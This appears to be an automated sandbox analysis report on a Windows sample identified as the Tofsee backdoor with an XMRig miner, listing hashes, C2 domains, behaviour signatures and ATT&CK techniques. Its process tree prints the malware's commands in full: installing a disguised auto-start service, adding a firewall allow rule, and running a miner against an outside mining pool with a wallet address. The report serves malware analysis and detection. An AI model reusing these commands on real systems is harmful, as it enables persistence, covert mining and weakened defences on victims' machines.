Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 09:33

General

  • Target

    ccd057bfd149aed3748fa9fa4c9aa5e14244f39eb42f3998f34c45781dba8ccb.exe

  • Size

    263KB

  • MD5

    24f9149af92f94c5abdf54a015a1b77a

  • SHA1

    344490bdd4f761a90f16e591ed9a2405e6eb5901

  • SHA256

    ccd057bfd149aed3748fa9fa4c9aa5e14244f39eb42f3998f34c45781dba8ccb

  • SHA512

    36d8ae7cc4c80c9755cf838eaf45370aa4a758127105a81e4536fa1e53798f1068569ac17d541d823eae7d728b45d0494b26f533d4623ede1126dff6a36dad1e

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ccd057bfd149aed3748fa9fa4c9aa5e14244f39eb42f3998f34c45781dba8ccb.exe
    "C:\Users\Admin\AppData\Local\Temp\ccd057bfd149aed3748fa9fa4c9aa5e14244f39eb42f3998f34c45781dba8ccb.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4384
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uryxonzn\
      2⤵
        PID:3080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\psbyasil.exe" C:\Windows\SysWOW64\uryxonzn\
        2⤵
          PID:4544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uryxonzn binPath= "C:\Windows\SysWOW64\uryxonzn\psbyasil.exe /d\"C:\Users\Admin\AppData\Local\Temp\ccd057bfd149aed3748fa9fa4c9aa5e14244f39eb42f3998f34c45781dba8ccb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uryxonzn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uryxonzn
          2⤵
          • Launches sc.exe
          PID:2132
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2064
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 1240
          2⤵
          • Program crash
          PID:4120
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4384 -ip 4384
        1⤵
          PID:4616
        • C:\Windows\SysWOW64\uryxonzn\psbyasil.exe
          C:\Windows\SysWOW64\uryxonzn\psbyasil.exe /d"C:\Users\Admin\AppData\Local\Temp\ccd057bfd149aed3748fa9fa4c9aa5e14244f39eb42f3998f34c45781dba8ccb.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1268
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2280
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1756
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 512
            2⤵
            • Program crash
            PID:3652
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1268 -ip 1268
          1⤵
            PID:3660

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\psbyasil.exe
            Filesize

            10.5MB

            MD5

            9a680f9748b152bdac01de1c4b11db8a

            SHA1

            f588c31d0e9cb20bdf967fa761feba259cd46c8c

            SHA256

            eb44b6c88e7c348c978ceb8dfbdee82f715322b86a50232fcf6937a1404f1c60

            SHA512

            5c6118bd522c2aa1af1ff876e405161bb1a8058f8c49f70590de59f2d04b8b70f4be946ac0500223120a5c2896d80248c031919dc6a833e03906665e38b7424f

          • C:\Windows\SysWOW64\uryxonzn\psbyasil.exe
            Filesize

            10.5MB

            MD5

            9a680f9748b152bdac01de1c4b11db8a

            SHA1

            f588c31d0e9cb20bdf967fa761feba259cd46c8c

            SHA256

            eb44b6c88e7c348c978ceb8dfbdee82f715322b86a50232fcf6937a1404f1c60

            SHA512

            5c6118bd522c2aa1af1ff876e405161bb1a8058f8c49f70590de59f2d04b8b70f4be946ac0500223120a5c2896d80248c031919dc6a833e03906665e38b7424f

          • memory/892-136-0x0000000000000000-mapping.dmp
          • memory/1268-146-0x0000000002F2E000-0x0000000002F3E000-memory.dmp
            Filesize

            64KB

          • memory/1268-150-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/1268-148-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/1756-176-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1756-171-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1756-170-0x0000000000000000-mapping.dmp
          • memory/2064-139-0x0000000000000000-mapping.dmp
          • memory/2132-138-0x0000000000000000-mapping.dmp
          • memory/2280-157-0x00000000019F0000-0x0000000001A00000-memory.dmp
            Filesize

            64KB

          • memory/2280-164-0x0000000007240000-0x000000000764B000-memory.dmp
            Filesize

            4.0MB

          • memory/2280-143-0x0000000000000000-mapping.dmp
          • memory/2280-144-0x00000000006B0000-0x00000000006C5000-memory.dmp
            Filesize

            84KB

          • memory/2280-167-0x00000000027E0000-0x00000000027E7000-memory.dmp
            Filesize

            28KB

          • memory/2280-162-0x00000000006B0000-0x00000000006C5000-memory.dmp
            Filesize

            84KB

          • memory/2280-149-0x00000000006B0000-0x00000000006C5000-memory.dmp
            Filesize

            84KB

          • memory/2280-160-0x00000000027D0000-0x00000000027D5000-memory.dmp
            Filesize

            20KB

          • memory/2280-151-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/2280-154-0x00000000019E0000-0x00000000019E6000-memory.dmp
            Filesize

            24KB

          • memory/3080-133-0x0000000000000000-mapping.dmp
          • memory/4384-130-0x0000000003072000-0x0000000003082000-memory.dmp
            Filesize

            64KB

          • memory/4384-142-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/4384-141-0x0000000003072000-0x0000000003082000-memory.dmp
            Filesize

            64KB

          • memory/4384-132-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/4384-131-0x0000000002E40000-0x0000000002E53000-memory.dmp
            Filesize

            76KB

          • memory/4500-137-0x0000000000000000-mapping.dmp
          • memory/4544-134-0x0000000000000000-mapping.dmp